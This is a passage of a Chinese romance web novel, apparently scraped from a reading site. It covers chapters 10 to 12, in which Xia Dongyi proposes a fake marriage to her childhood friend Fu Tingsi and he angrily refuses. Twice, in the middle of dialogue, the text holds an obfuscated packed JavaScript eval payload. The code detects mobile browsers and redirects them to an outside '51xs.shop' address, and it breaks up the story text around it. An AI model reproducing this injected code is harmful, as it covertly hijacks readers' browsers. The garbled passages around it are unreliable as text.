江笑妍自然是要问具体情况的,夏冬意了无胃口,想起来就烦躁,就连最喜欢的草莓吃在嘴里也失了味道。随口敷衍了两句走出了厨房。 这顿饭吃得一点也不安生。 夏闻岸了解过谢书言的情况,算是满意的,虽说平时对夏冬意多有宠溺,但也知道她的脾气性格,夏冬意又不愿意详细告知具体原因,便以为是女儿肆意任性的性格吓走了人家。 夏冬意不想说的一个原因是,她不想在家人面前提起此事与傅亭斯有关,更不愿意承认她喜欢傅亭斯。 事实上,她也不认为自己是喜欢傅亭斯的。 可父母哪里清楚,到时一通掰扯,误会更大。 索性闭口不言了。 被说得烦了,夏冬意拿出了杀手锏,笑眯眯地软声撒着娇:“爸爸妈妈,我还想多陪陪你们,我结婚了就没有那么多时间再陪你们了,你们肯定也想我多留在你们身边的呀。” 往常这招是最管用的,但是这回江笑妍和夏闻岸心事重重的模样,明显没有被说动。 夏闻岸开口了:“你结婚和这个不冲突,又不让你嫁到外地去,就在我们身边,想回家就回家。” 江笑妍也说道:“长大了结婚嫁人是很正常的,就算爸爸妈妈舍不得你也是没办法的,总不可能不结婚吧。你爸和我就是想抱外孙了,跟咱们同龄那些叔叔阿姨的孩子,去年今年都结婚了,咱们要紧跟步伐啊。” 夏冬意觉得,以后周末她最好还是出去吃比较好,这顿饭吃的她是一点胃口也没有了。 于是她想了想说道:“那是不是,我只要结了婚就行?” 江笑妍一愣,以为女儿改变了主意,和丈夫互看一眼,喜笑颜开地连连点头:“可以啊。” 夏冬意将筷子头在嘴角轻点了两下,出其不意地问道:“那今年结了婚,明年就离了,也可以?” 她父母的脸色明显一僵,很快,两人恢复了常色,夏闻岸看着女儿,沉吟了一下,说道:“也可以。” 江笑妍还补充道:“老公可以没有,但小孩是要有的,反正我们养得起。” 夏冬意听懂了母亲的暗示。 “哦,我懂了。”夏冬意眨眨眼,不紧不慢说道,“你们是让我去国外的精子库找找呗?” 也不管父母脸色多难看,撂下这句话就跑了。 回到房间,夏冬意原本打算睡个午觉养养神。漱过口,洗完脸,倒进床上翻来覆去怎么也无法入眠。 去父留子。 所以她应该去找谁呢? 烦躁之下,抓起床头的手机,给郁吱吱发信息。 善良的咚咚:[吱吱,你有面临催婚的困扰吗?] 发完,她点进小游戏玩了会儿,看到回复,立马切换出来。 郁吱吱发来了一个心塞的表情:[为什么要在如此快乐的日子里聊这种话题?] 善良的咚咚:[我爸妈准疯了,刚吃饭的时候,你猜他们怎么说?] 发完这条,夏冬意继续敲字:[竟然说没有老公没关系,只要我愿意结婚,就算明年离婚也没关系,但是得有孩子] 美丽的吱吱:[你不是挺喜欢孩子的吗] 善良的咚咚:[喜欢是一回事,自己生又是另一回事。我得多爱这个男人,我才能愿意给他生一个孩子啊。所以在不爱的前提下,对方必须硬件特别特别好才行,问题就是,我去哪里找这种男人?] 美丽的吱吱:[对哦,毕竟是连翘臀帅哥那种级别的大帅比,你都看不上眼的,这就有点难度了] 紧接着,郁吱吱又发来一条:[你要不试试你竹马吧?我有个朋友就是家里一直催婚,最后和她青梅竹马结婚了,情况也和你一样一样的,家里呢不差钱小公主,就只是完成一下结婚任务,就像完成KPI一样,眼睛一睁一闭,孩子就生出来了,多简单啊。] 傅亭斯? 夏冬意觉得郁吱吱简直在开神级玩笑,她不是不知道她有多讨厌傅亭斯。 和傅亭斯结婚,还要和他生孩子? 苍天啊,大地啊,饶了她吧。 夏冬意都能想象到那个画面。 他俩不在床上打起来就好了,还生孩子呢,生猴子才对吧。 这么一想,就把她给整乐了。 郁吱吱见她半天没有回复,问:[你该不会真的在考虑了吧?] 这句话适时地掐断了夏冬意的脑补。 她发现,刚刚自己,真的,可耻地在想象那个画面。 美丽的吱吱:[你竹马貌似长得不尽人意,确实对我们这种颜控来说,不太友好,但男人这种生物吧,光脸长得好看也不行,得有男人味,得有那种感觉,关键是,技术得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054628|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,关了灯,黑灯瞎火的,谁看得见谁啊,还不是得靠人格魅力这种真本事的] 看着这段话,夏冬意脸上竟羞耻地绯红了起来。 因为她莫名其妙想起了傅亭斯的肌肉。 他的肌肉并不是那种大块的,是略有轮廓的,有种和他这个年纪不相符的干净和少年气,在白皙的肌肤上,淌着汗。她也记得他,从健身室走出来,上身没有穿衣服,低垂着头,汗水自乌黑的发丝上滴落下来的情景。 呼吸都停滞住了。 虽然她并不想承认,但那天,看到他这副模样出来的时候,确实是有些性感的诱惑力。 以至于,这个画面片段,一直到现在仍旧没能从她脑海中消除。 其实如果这条狗,他不说话的时候,还是不赖的。那双桃花眼似笑非笑看着人时,会自然的放电,好像天生带着钩子。 但一说话就不行了。 一说话就能让她气得跳脚。 现在市面上流行的哑巴新郎,大概就是傅亭斯这样的。 夏冬意也想到了,傅亭斯淌着汗,微喘气的模样。 她是见过一回的。 他很爱户外运动馆,有一次去野攀,还特意发了个视频给她。 那时候,夏冬意正坐在会议室听领导大谈特谈未来一个星期的工作安排,顺便给下属们画画大饼。夏冬意托着脑袋,一边做着笔记,一边满脑子的瞌睡虫,手机就在这时候亮了亮。 她斜眼一看,是傅亭斯的信息。 是一段不到一分钟的视频。 夏冬意右耳戴着蓝牙耳机,浑不在意地点开来看。 是在一座山巅之下,后面是傅亭斯和伙伴们准备攀顶的峭壁,视频里他正在做热身。手机是以俯视的角度仰拍的,应该是被他放在了地上,人在上面做俯卧撑。 一个,两个,三个……从远到近……似乎撞在了她身上。 漆黑的眉眼,穿透力的目光,前额的发垂落下来,微微地汗潮,喘息声凌乱。 从耳机的左右声道传来。 冲击力极强。 夏冬意吓得呼吸都停了,领导在说什么已经听不到了,慌乱之中,做贼心虚似的,将那视频给关了。 无法忘掉那个画面。 夏冬意没有去问他为什么要发这个视频给他。 傅亭斯之后也没有再提起这件事,好像那只是他心血来潮随手拍的,做完就忘掉了。 也许他真的忘掉了。 但夏冬意却不知出于什么心理,不仅将那个视频保存了下来,还专门设置了密码。仅她自己可见。 她忽然想,好像傅亭斯也还行。 如果真的找不到合适的人选的话,如果他愿意的话,她也是可以和他试试的。 反正结了婚再离就是了。他也没有任何损失。 抱着这样的想法,夏冬意头脑一热,给傅亭斯发了这样一条消息。 [你欠我的那七万块钱,我可以不追究了,如果你愿意以身相许的话] 等待的时间是折磨人的。 夏冬意几次拿起又放下,始终没等到回复。 就在她打算放弃,把手机放回床头柜,打算先睡一会起来再说的时候,微信提示音响了。 她迫不及待点开来一看。 不要脸的狗:[不是三万块?] 10. 小狗不听话 中午,傅亭斯开车从公司出来。方棋彻约他在附近的酒馆吃饭。下午他还约了客户见面,能给他吃饭的时间只有一个半小时。 方棋彻比他早到一会儿,正等着少爷过来点单。 傅亭斯将钥匙往桌上一掼,拎过方棋彻递来的菜单坐下,大手一挥,勾了几个菜目,将厚厚的本子扔了过去,靠进软塌里刷着手机。 一条微信进来。 傅亭斯随意点开,看到上面的内容—— 女神(经病):[你欠我的那七万块钱,我可以不追究了,如果你愿意以身相许的话] 傅亭斯忽地咧嘴一笑。 方棋彻点完菜,抬起头,看到这幅情景,好奇地伸长脖子探过头去:“看什么啊,乐成这样?” 傅亭斯低头输着文字,发送完,把手机递过去给方棋彻看:“你说,她这是什么意思?” 方棋彻扫了眼,问了一个和傅亭斯一样的问题:“不是三万吗,什么时候变七万了?” 傅亭斯斜倚着扶手,握着手机似乎在等着回复,垂着眼考虑了几秒,抬起头,一双桃花眼直勾勾地盯着方棋彻问:“我要不要答应她?” 方棋彻一脸“别问我,我不知道”的表情,拿起杯子喝了一口茶,放下的时候,摇了摇头,惋惜道:“癫公癫婆,一个比一个癫。” — 不要脸的狗:[怎么是七万块?] 这句话在夏冬意看来,就是傅亭斯承认了欠她钱,但是呢,他却对她提出的后半个问题视而不见。 以她对傅亭斯的了解,他绝不可能会妥协和承认她的恶作剧有任何的效力,所以会在这时候提到“是五万块而不是七万块”这茬,就说明他已经委婉地拒绝了她提出的建议。 夏冬意觉得还是有必要提醒他一下,这七万块是怎么回事。 于是非常迅速打起字来:[你还记不记得小时候我们玩开商店的游戏,你需要一笔启动资金,七万块,是我借给你的,到游戏结束,你大赚一笔,都没有还给我!] 不要脸的狗:[没还你么?] 夏冬意:[还个屁] 不要脸的狗:[哦] 夏冬意:[这就完了?七万块呢!] 不要脸的狗:[是啊,七万块呢,要不] 夏冬意连发两条: [你说话能不能说完整?] [还有,我最近和我那律师掰了,都怪你!] 不要脸的狗:[又是我的错?] 夏冬意:[不是你惹我生气,我会在他面前失态吗?!] 不要脸的狗:[早点面对真实的自己吧,装你能装多久?] 夏冬意:[放屁,没碰上你,我俩都好好的] 不要脸的狗:[女孩子家家的,成天屎尿屁挂在嘴边,接受吧,这才是真实的你] 夏冬意:[你可给我滚远点吧] 不要脸的狗:[钱也不要了?] 夏冬意:[钱留下,人滚吧] 等了一会儿,傅亭斯真没回复过来了。 不会真的滚了吧?平时都没这么听话。夏冬意腹诽着,发了条信息试探了一下:[今晚你有空没?我们来讨论一下你还钱的问题] 不要脸的狗:[没有。] 夏冬意发了一个“美女无语”的表情包。 表情包是用嘟嘟的照片做的。 过了几秒,收到傅亭斯发来的一个表情包。 夏冬意怔了怔,很是意外。这是用她的照片做的表情包,十年前的照片,十七八岁,还在上高中,扎着马尾,眼神明亮,脸庞青涩,好怀念啊。 还记得那天傅亭斯来学校看她,两人在学校附近的拉面馆吃过晚饭,沿着马路散步,走累了,夏冬意蹲在路边拿傅亭斯新买的手机自拍,傅亭斯则站在一旁的树下边抽烟边看她。 那天在他手机里拍下了好多照片,其中也不乏有好几张偷拍他。 不要脸的狗:[下次用你自己的照片,更合适] 夏冬意不明白这是夸她还是在损她,但她很快想到了。 夏冬意:[那么久远的照片你都不舍得删,铁定暗恋我] 傅亭斯好像拿她的照片做表情包做上瘾了,随后又是一张表情包,是她瘪着嘴的一张照片,眼神不屑,像是在说“你是个傻逼吧”。 夏冬意记得,这张照片原图是后面站着的傅亭斯,她这表情其实是对傅亭斯说的,现在被他自己给P掉了。 不要脸的狗:[晚上去接你] 夏冬意:[嗷呦,刚才哪条狗说的没空] 傅亭斯又发来一张表情包,还是夏冬意的自拍照。她捂着嘴,眼睛微弯,手指指着自己。下面配上了文字:是我。 夏冬意:[……] 夏冬意:[狗子,你到底有我多少自拍照?] 不要脸的狗:[想知道?] 夏冬意:[废话] 不要脸的狗:[不告诉你] 夏冬意:[狗] 两人的聊天到此为止。 夏冬意一觉睡到傍晚五点,醒来的时候,天色已渐暗,她迷迷瞪瞪地拿起手机查看,发现上面有几个未接来电,都是傅亭斯打来的。 手机刺亮的光照的眼睛不太舒服,夏冬意暗灭手机,放到一旁。 刚睡醒,人还懵着,夏冬意坐在床上放了会空,然后慢吞吞爬起来,用脚在地板上打着旋找拖鞋,一边揉着眼睛,点开手机重新看了看。 五分钟前,傅亭斯有一条信息,她还没来得及看。 不要脸的狗:[在你家门口,动静别太大] 傅亭斯的操作让夏冬意有点摸不着头脑,搞不懂他想干什么,但她向来都是他说他的,她照做她自己的。 她都还没吃过饭呢,就让傅亭斯在外面等着吧。 夏冬意穿上拖鞋,简单洗漱了下,换下睡衣,懒得化妆,头发也有点油了,先不管它。反正是去见傅亭斯的,他不值得她洗头。 到了楼下,保姆阿姨已经烧好了一桌子饭菜,夏闻岸今天晚上有应酬,不在家里用餐,家里只有保姆和江笑妍在。 “咚咚,快来吃饭了。”江笑妍看她转进了厨房里去,出声催促。 厨房里没有人回应,取而代之的是一阵乒里乓啦声,没多久,夏冬意蹬蹬蹬跑出来,手里捏着几个一次性饭盒,筷子和勺子,往里面装着饭菜。 这人睡到这个点起来,也不加紧吃饭,一顿的神操作,把江笑妍搞懵了,问她装这些要拿给谁吃。 夏冬意顾自往饭盒里装着她喜欢吃的菜,头也不抬,一脸认真地淡然回答:“外面的流浪小狗呀,很可怜的,饿着肚子在等我的投喂呢。” 说着,将装好的饭菜放进打包袋里,冲了出去,江笑妍在身后喊道:“你不吃了啊?” 风声飞扬,夏冬意的声音传来:“我和小狗一块儿吃。” 保姆阿姨笑着道:“我们咚咚啊,从小就懂礼貌有爱心,真是个好姑娘。” — 夏冬意猫着腰走出院子,转身轻轻关上院门。幽暗的光线下不见傅亭斯那辆惹眼的跑车,难道他这次开了别的车来? 夏冬意弯着腰,在昏暗里寻找,嘴里发出小奶狗啜奶的轻唤声,低低地冲着黑暗里叫道:“小狗狗,小汪汪,快出来,看看我给你带了什么好吃的……” 模样看起来像在唤狗,而不是找人。 身后的头顶某处,传来一声轻嗤声,极轻的,因着空气太过安静,清晰地灌入了夏冬意耳朵里。 她猛地一个激灵,差点跳起来,见着鬼一样,向身后的阴影处看去。 乌漆嘛黑一团,什么也看不清,却从那阴影下再次传来那道熟悉的,透着惫懒的腔调。 “你做贼啊?” 夏冬意定格住般,朝着阴影里喊道:“傅亭斯,你这条狗,你有种别吓人,有种出来。” “呵— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054629|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 对方一声极轻的冷笑,拖长着调调:“就这么点胆量,转头。” 夏冬意扭过了头。 这时月光缓缓从云层后面洒落下来。 她看清了树影遮挡住的那条颀长身影。 傅亭斯从阴影里走了出来。那个画面,说不清是树影从他身上退去,还是他从树影下走到了月光下。 只是觉得这个人的这张面容,从未有过那么一刻,是这样的清晰地展现在了她的面前。 以至于在这一刻,夏冬意微微,不自知地停止了呼吸。 夏冬意想起来,记忆里好像也有这样一刻,觉得傅亭斯没那么丑。 只是她心里并不想承认,这时和那时候的她,真的有被他在不经意的时刻,惊艳到。 “怎么了?”见她愣神的样子,傅亭斯抬手在她眼前晃了晃。 夏冬意一巴掌拍开。 她扬了扬手里的饭盒,仰起下巴问道:“吃吗,有小狗最爱的鸡架子。” “吃过了。”傅亭斯低睨着她白净的巴掌脸。 “吃过你不早说。”夏冬意指了指饭盒,“这么多,让我自己吃?你车呢?” 她左右望了望。 傅亭斯指了指身后不远处林荫道上停着的黑色轿车。 “哦——”夏冬意拖长着音,说道,“我就知道你换了车,还说找半天都找不到呢。你到底吃不吃啊,我家阿姨的菜烧的可好吃了。” 傅亭斯脑海中划过她刚刚猫着腰的模样,不自觉翘起嘴角,低头发现夏冬意正看着他,略显尴尬地避开了眼:“你看我干什么?” “你怎么笑得跟智障儿童一样?” “……”傅亭斯笑了笑:“就是突然想到刚刚有个白痴在这里找人,像个老太婆一样,你是找人还是找狗,我会藏在草丛里面去?” 说着,学起了夏冬意的模样,惟妙惟肖的。 夏冬意断定他肯定在这里观察了她很久,冷笑了一下:“我呢,确实是在找狗。可惜呢,有些狗既然已经吃过了,那我也只能拿去喂另一些流浪狗了。” 她抬起头去看傅亭斯的时候,发现对方正好也垂眼扫向她。 两人视线一撞到,傅亭斯即说道:“你也不想想,我怎么可能会饿着肚子在这里等你一晚上。” “是哦,”夏冬意本来还有点暖融的心坠落到了冰层下,有不知名的酸涩涌上来,莫名其妙的感到委屈,故意硬着嗓子说道:“是啊。我也不要自作多情了,我自己都还没吃呢。” 她好心带给他的晚饭,却被这个无情的家伙这样拒绝了。 夏冬意转身往家里走,被身后伸来的手抓住了手腕。 夏冬意火气不小地扭头瞪他:“干嘛啊?” “不是说要一起吃饭?”傅亭斯语气平静,眉眼还是一如往常的疏懒。 “谁要跟你一起吃啊。松开,我要回家了。” “走。”傅亭斯将她往车边拉。 “干嘛啊?” 傅亭斯停了下来,两人对视了几秒。 傅亭斯短促一笑。 “夏冬意,不是你说的七万块,换我以身相许?” 他笑的懒散,眼神却温温的,很认真地望着她。 眼眸里流淌着的光亮,有一种说不出的深意。 夏冬意心脏重重被一击。 呆呆地仰头望着他,不知道这话是什么意思。 “走。”他偏偏头,然后拉起了她的手,就像小时候那样,每次在她甩完小性子,闹过脾气以后,他都会这样,温和地对她说着话。 “说话要算话,”傅亭斯拉着她往车边继续走,“去车上,我陪你吃,吃完,我们再来谈正事。” “什么正事?”她脱离轨道的思绪,已无法正常运作,懵懵地问道。 傅亭斯侧过头来,那双桃花眼带钩一样看着她。微微俯下身,似笑非笑地反问道:“你说呢,什么正事?” 11. 小狗不听话 在宾利上吃饭的体验,夏冬意这还是头一次。 因为是第一次,所以难免有些兴奋。至于到底在兴奋什么,夏冬意自己也不太清楚。 总之她现在的心情是愉悦的。 夏冬意坐在副驾驶位上,哼着歌,将饭盒从一次性袋子里取出,铺开在座椅之间的扶手箱上,盖子打开后,饭香味裹着菜香味飘满了车厢。 油唧唧的一股味道,和车里的香水味以及坐垫皮质味混合在一起。 夏冬意想起,傅亭斯洁癖很重。 而且,他有个习惯,非常不喜欢别人在他车上吃东西。 所以他的车保持的非常整洁。 她把其中一份饭和筷子放到傅亭斯手边,一边低着头拆开筷子,一边像是不经意般的问道:“奇怪哦,你怎么愿意让我把你的车搞得一团糟了。” 夏冬意把拆开的筷子递给傅亭斯,他随手把面前饭盒上的盖子揭开,顺势递给夏冬意的同时,瞥了眼她道:“如果我现在把你赶下车,你会怎么样?” “那我肯定哭给你看。”夏冬意说着,用那还捏着筷子的手擦着根本挤不出眼泪来的眼睛,呜呜呜的装哭起来。 傅亭斯身体向座椅靠去,闲闲地看着她演戏,懒声道:“这不就好了,”说着,他低眸,夹起一块红烧排骨放进夏冬意饭盒里,这个动作自然无比,是他下意识的举动。 倒是把夏冬意看愣住了,她慢慢地放下手,转了个弯用手背轻轻碰了碰他的额头。 傅亭斯额角不自禁地跳动了下,掀起眼皮看住她。 夏冬意把手重新伸回去,摸了摸自己的头,喃喃自语:“奇怪,也没发烧啊。” 随后,她再次看向傅亭斯,眉眼弯起,学着他刚才的样子,夹起一个鸡架。 鸡架子大,她夹不稳,颤颤巍巍的,边送到他面前,边神气活现地说道:“快吃快吃,小狗狗最爱的鸡架子,我给你拿来了……” 傅亭斯盯着她的动作,唯恐那鸡架从她筷子上滑落,弄脏了他的车,半天没开口。他知道这人的属性,说不定到时候一个激动,这玩意儿就掉下去了。 一直盯着她把鸡架子放下了,他才暗舒了口气,抬眼看着她,眸光沉沉。 “夏冬意。”傅亭斯喊道。 夏冬意正往嘴里塞着排骨,闻言拧眉瞅他,轻轻发出一个“嗯?”的单字音节。 “你从刚才到现在,一直小狗小狗的,喊谁啊?” 昏暗的车厢里,傅亭斯漆黑的眼睛亮晶晶的,像一把利刃,直指着她。语调和神色却都懒懒散散的,强烈的反差感,让夏冬意的心口无名躁了一下。 她慢吞吞地抬起头来,又慢吞吞地眨了眨眼睛,长睫毛扑闪扑闪的,在眼皮上,像一只振翅的蝴蝶,然后故意装作茫然和无知的样子望着他,说:“原来你不知道啊,小狗狗?” 傅亭斯望着她。 她装作不知情地低下头,吃着东西,嘴巴鼓鼓的,像一只小仓鼠一样,往嘴里塞着吃食,黑暗里,她明知道他还在看着她,却硬是没抬头。 心里在窃喜着。 一秒。 两秒。 三秒。 夏冬意在心里报着数。 叮—— 他肯定要开口了。 下一秒。 果然。 傅亭斯掀了掀唇,出声:“把你手机拿过来。” 夏冬意动也没动一下,继续享用着她香喷可口的晚饭。 傅亭斯伸手。 在她的视野里。 那手在漆黑的夜色下,白得晃眼,摸上去不知道会不会有一种冰凉沁脾的触感。夏冬意想。 “干嘛啊?”她抬起头来,眼里装满了无辜感。 “呵。”傅亭斯轻笑了声,像是没有了什么耐心一样的语调,对她说:“拿过来,我看一下。” 夏冬意放下了筷子,也看着他:“给你对我有什么好处?” 傅亭斯抿着唇,没说话。和夏冬意对视着。 傅亭斯这双桃花眼,狭长内勾,平时漫不经心看人时会放电,但认真起来的时候,眸光黑压压的,有一种摄人心魄的感觉。 夏冬意不敢注视太久,下意识就别开了眼去,她重新拿起筷子,假装很烦的样子说道:“你不就是想看我给你备注了什么,我告诉你,别以为我不知道,你也没给我备注什么正经名字,有种你也拿出来,我们比比。” 傅亭斯轻哼了一声,吐出两个字:“幼稚。” 靠回座椅里去了。 夏冬意撇撇嘴。 她就知道,他不敢。 于是随口说道:“没种就承认吧,傅亭斯没种。” 傅亭斯闭上眼睛,一副不想和她一般见识的模样。 “喂,你不是说要陪我吃饭吗?” 傅亭斯仍闭着眼,好像没听见似的。 夏冬意故意发出吧唧嘴的声音。 他平时最讨厌吃饭的时候,听到别人吧唧嘴了。 见傅亭斯还是没理会自己,夏冬意故意凑近去靠在他耳边,“吧唧吧唧”很大声。 傅亭斯也只是皱起了眉头,翻了一个身,脸朝向另一边。 不理她。 哼。 “你最好一辈子别理我。”夏冬意气哼哼的,感觉特别没意思,退回来继续细嚼慢咽地吃了起来。 车厢内再次恢复到了平静的状态。 但这平静也只是表面维持。 隔了几秒,她听到响动声。 夏冬意用余光扫了眼。 傅亭斯转过身来,似乎在静静地观察着她。 夏冬意没理会,任由他看着。 待到夏冬意快要吃完饭的时候,傅亭斯终于开口了。 在安静的空气中,他懒散的嗓音下,却似乎藏着瞬息万变的波动。 “你想让我以哪种方式。” 傅亭斯一顿,看着夏冬意。 “什么?”夏冬意被他看得心一跳一跳的。 傅亭斯唇角微勾,眉眼冷静,接着自己的话说:“以身相许。” 夏冬意指了指脚下:“你是说在你的车上?” 然后她猛地捂住胸口,身体往后一缩:“你想我可不想。我告诉你,傅亭斯,门都没有!” “……” “哦,”傅亭斯拖拉着腔调,戏谑地打量了她一眼,笑着道:“我以为这话应该由我来说才对。” “……” 夏冬意想起了自己的计划,放下了手,身体朝他的方向侧了侧,目光炯炯道:“你想不想结婚?” 傅亭斯挑眉看着她,没做声。 夏冬意被他看得卡壳了一下,咽口口水继续游说:“我的意思是,咱俩可以协作一下。” 傅亭斯垂着眉睫,看模样像是在考虑,而后微微抬了抬眼皮,看着她,散漫的问:“怎么协作?” “咳咳,”夏冬意清了两下喉咙,端坐起来, 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夏冬意忍住那一句快到嘴边的国骂,用了生平最有耐心的语气,和颜悦色地道:“就结个婚,结完就离,我妈说了,只要结婚,就算今天结明天离,她跟我爸这辈子的心愿就算了了。” 她没有把那句只要孩子不要老公的话说出来,担心傅亭斯黑脸。 果然。 就只这句话,他的脸已经黑了一大半,紧蹙眉心,反问她:“所以你的计划是,今天我俩结婚,明天就离?” 黑暗的车厢里,他的表情不甚清晰,夏冬意俨然不知道这会儿傅亭斯的火气也接近临界点,只是觉得他今天很奇怪,一直跟她唱反调。 也有点受挫,顺势就接口道:“你不是也被催婚得厉害,况且你也不会真的想和我过日子,装个样子,假结婚一下,骗过我爸我妈和你爸你妈就行。” 傅亭斯伸手按住她的肩膀,将她往外一推,满脸厌烦。 “免谈。” 夏冬意被他突如其来的举动和反应吓懵了,呆呆地定住,不解地望着他:“傅亭斯,你干嘛对我这么凶啊?” 他这才意识到刚刚的语气和态度不太好,收敛了一下表情,抬眼看了下她,确定她没哭,稍稍放下心来。 “吃完了没,吃完下车。”他放缓了语气,说道。 “下车干嘛,你还没有……” “我要走了,晚上还有事。”傅亭斯的语气很淡,似乎并不想跟她鬼扯太多。 夏冬意郁闷极了,也只能见好就收,不敢惹他不快,带着火气下了车,把他的门摔的震天响。 她故意没整理那堆饭盒,让傅亭斯自己去收拾吧。 气死了。 夏冬意在月光里慢慢地走回家。愤懑中夹杂着几分说不清楚的懊恼、委屈、难过和伤心。 一边走一边踢着路面上的小石子,心想,她说的又没错,傅亭斯又不想和她真的结婚,这种两全其美的事情干嘛不接受,就算是不接受,也用不着发这么大的火吧。 肯定是因为她说出了他的心声,让他恼羞成怒了。 傅亭斯,你这条狗,你给我等着,我就不信我还真找不到人。 回到家,夏冬意洗完澡,这件事在她这里越是想越是过不去,气到极处,拿出手机,在朋友圈编辑起来。 【傅狗你等着,老娘明天就带个帅哥去民政局领证。】 点击发出。 12. 小狗不听话 夏冬意刚从傅亭斯的车上离开,人才将将站稳,车便似离弦的箭一般飞了出去。 夏冬意稳住心跳,转头看时,轿车尾巴早已消失在了夜幕之中。 夏冬意呆了呆,直觉傅亭斯好生气。 他还生气,她才生气好不好。 夏冬意扭头朝家的方向走去。 — 从夏冬意家的小区出来,傅亭斯将油门拉到底,车速越来越快,春日暖融的风从完全敞开的窗户呼呼灌入,吹散一车的味道,也刺着耳膜鼓噪着。 即便开着窗户飙车具有危险性,傅亭斯还是没有慢下来。 在剧烈的车速中,他瞥了眼散落在扶手箱上那一堆餐盒,不知是懒得带走,还是故意气他。傅亭斯脑海中,一帧一帧,不断划着刚刚车里的场景。 昏暗的车厢里,那双明亮的眼眸,满脸的期待,她越是这样,傅亭斯越是气。 当时他差点就要问出口—— 夏冬意,你到底有没有心? 最后还是忍住了。 说了她也不懂的。 傅亭斯紧绷着下颌,他知道这通火气没有必要,没意思的很,他在这里气了半天,她明天还会像没事人一样问他,昨天怎么会这么生气,或者压根不提今晚的事,转头就嘻嘻嘻。 但还是气,那股郁火无处宣泄,更没有因不断加快的车速消减多少,握着方向盘的力道加重,手臂上爬满了青筋。 傅亭斯捞起手机,划开,在群里发了条语音,约他的几个哥儿们上沧浪山飙车去。 方向盘一打,在回家的途中,傅亭斯将打包好的餐盒一并都扔进了路口的垃圾桶。随后才回到家,换了车。 半个小时后,傅亭斯到达目的地,其他几个也陆续到了。 傅亭斯没有说话,捞起头盔戴上,跨上机车,拉动马达,只听一声刺耳的轰鸣声,一骑绝尘。 “草啊!”童淼森骇然惊吓道:“这哥这么大火气,吃火药了啊!” 方棋彻和徐亦然同时望向长龙般蜿蜒的路灯尽头,又同时回头,相互看看,耸了耸肩膀。 “估计是哪个客户不长眼睛,惹到少爷了吧。”徐亦然抓起头盔扔过去给方棋彻,“我们也走吧,不能太落后。” 在他上车准备出发之前,转头对后面两位伙伴喊道:“输掉的那个洗一星期车啊。” 又是一声轰鸣,刷的飞走了。 “草!玩真的啊!”童淼森也不鬼扯了,戴上头盔就追上去。 留下方棋彻,叹了口气,反正在运动方面,他向来都是拖大部队后腿的,洗一星期车就洗一星期车吧,慢吞吞地上了车,戴好头盔,一脚油门,追他的兄弟们去了。 …… 傅亭斯第一个到达山顶,把车停在山庄门口,长脚一跨,迈下车,走进了大门。 过了好大一会儿,徐亦然才到,车子歪歪扭扭地停在傅亭斯旁边,走进会所前厅,看到傅亭斯正靠在门口的长廊前,手里抓着一包不知从哪里弄来的面包,往池子里投喂着鲤鱼。 他的脚边摆着好几瓶饮料。 心情看起来似乎好多了。 徐亦然两步并作一步地跳上台阶,从地上拎起一瓶饮料,用牙齿咬开,仰头咕咚咕咚,一口气干掉了大半瓶。 傅亭斯觑了眼他,评价了一句:“这么渴啊?” 徐亦然擦了擦嘴角,看着他,有点奇怪:“你不渴?” 傅亭斯把面包递给他,走进会所大门:“不渴。” “不渴你放那么多饮料?”徐亦然自言自语着,看他走远,赶紧把饮料放地上,低头咬着面包,跟上傅亭斯的脚步:“你今天怎么回事,突然找我们来这里,心情不好?” 两人走到电梯,这么晚了,会所里特别安静,外面传来的机车声也听得一清二楚。 “他们到了。”徐亦然说。 “让他们到四楼来吧。”傅亭斯一脚跨进电梯。 听闻,经理忙按下了四楼楼层按钮。 方棋彻和童淼森到的时候,傅亭斯正靠在窗口,正对下面是后花园,就是那天他和夏冬意吵架的那个位置。 徐亦然则一个人坐在榻榻米上,边刷着手机,边品着茶。 方棋彻在旁边坐下,用肩膀轻轻顶了顶,在徐亦然耳边低声问:“他怎么回事?” 徐亦然摇摇头,也是一筹莫展的样子:“不知道,从刚才进来就站那儿了,我还想问你呢,这少爷是不是受刺激了,都要站成望夫石了。” 童淼森费解地伸长脖子往窗口去探,随口说:“这下面有什么风景,这么好看?” 方棋彻连忙拉住他,用眼神示意:“你可闭嘴吧。 室内安静下来,几人各做各的事,童淼森在外面打电话,徐亦然也是业务繁忙的样子,一直有信息进来,徐亦然也没有闲着,在看最近产品样图,看得累了,点开朋友圈刷了刷。 忽然,他视线一定。 陡然对今晚发生的这一切豁然开朗了起来。 间隔一秒的样子,方棋彻肩膀轻撞了一下徐亦然。后者正在专心致志地忙着业务,头也没抬地说:“什么事?” “你看这个。” 手机伸到徐亦然眼前。 他先瞥见的是“善良的咚咚”,接着视线下移,看到下面的文字。 【傅狗你等着,老娘明天就带个帅哥去民政局领证。】 徐亦然抬起头,和方棋彻目光相接的一刻,了然于心。 方棋彻说:“你去?” 徐亦然:“还是你去吧。” “来猜拳。”方棋彻道。 两人同时伸出手。 猜拳结果,方棋彻输了。 徐亦然笑倒在地上:“我就说你不行,还硬要跟我来,快去快去。” 方棋彻站起来冲他挥挥拳,最后还是走到了傅亭斯旁边。 经过茶桌的时候,顺手牵羊地拿起了两杯泡好的茶。 一杯拿给傅亭斯,他自己先喝了一口,将杯子放到了旁边,然后拍了拍傅亭斯的肩膀,重重叹息一声。 